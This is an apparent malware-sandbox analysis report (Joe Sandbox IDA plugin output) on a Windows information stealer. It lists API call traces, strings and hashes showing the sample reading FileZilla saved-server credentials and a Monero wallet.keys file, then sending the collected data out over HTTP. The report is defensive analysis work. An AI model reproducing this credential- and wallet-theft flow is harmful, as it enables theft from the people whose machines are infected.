profile: null, xrefs: 00ED0568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00ED02A4
login: , xrefs: 00ED05CA
<Host>, xrefs: 00ED037C

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 7037b17c55819434639ae44dbf082a0061216590283b4cae26c4401a5aafcd6b
Instruction ID: 69bd3162a2ed590e9d5d0d25aa803003c2afeffbfd23eb208a2374ff02228404
Opcode Fuzzy Hash: 7037b17c55819434639ae44dbf082a0061216590283b4cae26c4401a5aafcd6b
Instruction Fuzzy Hash: 0AD14F76D002089BCB08EBE0DD9AEEE7778EF14300F44552AF512B7185EE74AA46DB61

Function 00EC5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

lstrlen.KERNEL32(00000000), ref: 00EC5193

Part of subcall function 00ED8EA0: CryptBinaryToStringA.CRYPT32(00000000,00EC5184,40000001,00000000,00000000,?,00EC5184), ref: 00ED8EC0

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EC5207
StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC5340
HttpOpenRequestA.WININET(00000000,00A9EA68,?,00A9E290,00000000,00000000,00400100,00000000), ref: 00EC53A4

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00A9EAB8,00000000,?,00A9A8D0,00000000,?,00EE19DC,00000000,?,00ED51CF), ref: 00EC5737
lstrlen.KERNEL32(00000000), ref: 00EC574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00EC575C
RtlAllocateHeap.NTDLL(00000000), ref: 00EC5763
lstrlen.KERNEL32(00000000), ref: 00EC5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EC57A9
lstrlen.KERNEL32(00000000), ref: 00EC57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EC57E1
lstrlen.KERNEL32(00000000,?,?), ref: 00EC580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EC5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EC584D
InternetCloseHandle.WININET(00000000), ref: 00EC58B1
InternetCloseHandle.WININET(00000000), ref: 00EC58BE
InternetCloseHandle.WININET(00000000), ref: 00EC58C8

Strings

------, xrefs: 00EC54F9
------, xrefs: 00EC5297
", xrefs: 00EC5706
", xrefs: 00EC5482
", xrefs: 00EC55C4
------, xrefs: 00EC53B7
--, xrefs: 00EC5280
------, xrefs: 00EC563B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: f8b9d513b181d675bbcd00e55f27b3db961aab708f2660a374ba5f2ff447ad74
Instruction ID: 0141dc9cdd4437c3783011be54c3a740a3e132dc5b4c5fff40c4e50a80663d9a
Opcode Fuzzy Hash: f8b9d513b181d675bbcd00e55f27b3db961aab708f2660a374ba5f2ff447ad74
Instruction Fuzzy Hash: 1D325072820118AADB19EBA0DC95FEE73B8FF54700F4451BAB50672192EF702B4ACF55

Function 00ECA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDAA70: StrCmpCA.SHLWAPI(00A99058,00ECA7A7,?,00ECA7A7,00A99058), ref: 00EDAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00ECAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00ECAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00ECABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECA8B0

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

lstrcat.KERNEL32(?,00000000), ref: 00ECACEB
lstrcat.KERNEL32(?,00EE1320), ref: 00ECACFA
lstrcat.KERNEL32(?,00000000), ref: 00ECAD0D
lstrcat.KERNEL32(?,00EE1324), ref: 00ECAD1C
lstrcat.KERNEL32(?,00000000), ref: 00ECAD2F
lstrcat.KERNEL32(?,00EE1328), ref: 00ECAD3E
lstrcat.KERNEL32(?,00000000), ref: 00ECAD51
lstrcat.KERNEL32(?,00EE132C), ref: 00ECAD60
lstrcat.KERNEL32(?,00000000), ref: 00ECAD73
lstrcat.KERNEL32(?,00EE1330), ref: 00ECAD82
lstrcat.KERNEL32(?,00000000), ref: 00ECAD95
lstrcat.KERNEL32(?,00EE1334), ref: 00ECADA4
lstrcat.KERNEL32(?,00000000), ref: 00ECADB7
lstrlen.KERNEL32(?), ref: 00ECAE0D
lstrlen.KERNEL32(?), ref: 00ECAE1C

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

DeleteFileA.KERNEL32(00000000), ref: 00ECAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00ECABD4

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 97cfd9a9b3f535af891ab6838637f1ccce439ab0a8390fc1cd6f6dfe0f3d286b
Instruction ID: fd18953e89fba7cf17c5c9ddd24ae5b6722f2a8ff0114dd2e77a9b9b40b28844
Opcode Fuzzy Hash: 97cfd9a9b3f535af891ab6838637f1ccce439ab0a8390fc1cd6f6dfe0f3d286b
Instruction Fuzzy Hash: AD1250768101089BCB18EBA0DD96EEE73B8FF54301F44517AB502B3191EE71AB47DB62

Function 00EC5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EC59F8
StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00A9EAC8,00000000,?,00A9A8D0,00000000,?,00EE1A1C), ref: 00EC5E71
lstrlen.KERNEL32(00000000), ref: 00EC5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00EC5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00EC5E9A
lstrlen.KERNEL32(00000000), ref: 00EC5EAF
lstrlen.KERNEL32(00000000), ref: 00EC5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EC5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00EC5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EC5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00EC5F4C
InternetCloseHandle.WININET(00000000), ref: 00EC5FB0
InternetCloseHandle.WININET(00000000), ref: 00EC5FBD
HttpOpenRequestA.WININET(00000000,00A9EA68,?,00A9E290,00000000,00000000,00400100,00000000), ref: 00EC5BF8

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

InternetCloseHandle.WININET(00000000), ref: 00EC5FC7

Strings

------, xrefs: 00EC5D4C
", xrefs: 00EC5E16
------, xrefs: 00EC5A96
", xrefs: 00EC5CD5
------, xrefs: 00EC5C0B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: cba10e6384892d28b6acf07aa5e306f75b6e982d79ac5e9e60cd1e5532243a68
Instruction ID: 48da386d90bbd3377daecb5f1cac019c1bad5171700c3700b3a18e4f18446830
Opcode Fuzzy Hash: cba10e6384892d28b6acf07aa5e306f75b6e982d79ac5e9e60cd1e5532243a68
Instruction Fuzzy Hash: 11122176820118AACB19EBA0DC95FEE73B8FF54700F4451BAB50672191EF702B8ACF55

Function 00ECCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,00A9A900,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00ECD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00ECD0CE
lstrcat.KERNEL32(?,00000000), ref: 00ECD208
lstrcat.KERNEL32(?,00EE1478), ref: 00ECD217
lstrcat.KERNEL32(?,00000000), ref: 00ECD22A
lstrcat.KERNEL32(?,00EE147C), ref: 00ECD239
lstrcat.KERNEL32(?,00000000), ref: 00ECD24C
lstrcat.KERNEL32(?,00EE1480), ref: 00ECD25B
lstrcat.KERNEL32(?,00000000), ref: 00ECD26E
lstrcat.KERNEL32(?,00EE1484), ref: 00ECD27D
lstrcat.KERNEL32(?,00000000), ref: 00ECD290
lstrcat.KERNEL32(?,00EE1488), ref: 00ECD29F
lstrcat.KERNEL32(?,00000000), ref: 00ECD2B2
lstrcat.KERNEL32(?,00EE148C), ref: 00ECD2C1
lstrcat.KERNEL32(?,00000000), ref: 00ECD2D4
lstrcat.KERNEL32(?,00EE1490), ref: 00ECD2E3

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

lstrlen.KERNEL32(?), ref: 00ECD32A
lstrlen.KERNEL32(?), ref: 00ECD339

Part of subcall function 00EDAA70: StrCmpCA.SHLWAPI(00A99058,00ECA7A7,?,00ECA7A7,00A99058), ref: 00EDAA8F

DeleteFileA.KERNEL32(00000000), ref: 00ECD3B4

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 3bce1843113549a0e8eb3db5b7e89c2e681e0107c3020b293629888f0c0edb56
Instruction ID: 73e0329fcdd1bedbb1a5f19a93e52eb95ac8aef7eb9efc7d532d90dabe743839
Opcode Fuzzy Hash: 3bce1843113549a0e8eb3db5b7e89c2e681e0107c3020b293629888f0c0edb56
Instruction Fuzzy Hash: AEE171728102089BCB19EBA0ED96EEE73B8FF14301F04517AF516B3181DE75AB46CB61

Function 00EC4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EC4915
StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00EE0DDB,00000000,?,?,00000000,?,",00000000,?,00A9E958), ref: 00EC4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EC4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EC4E18
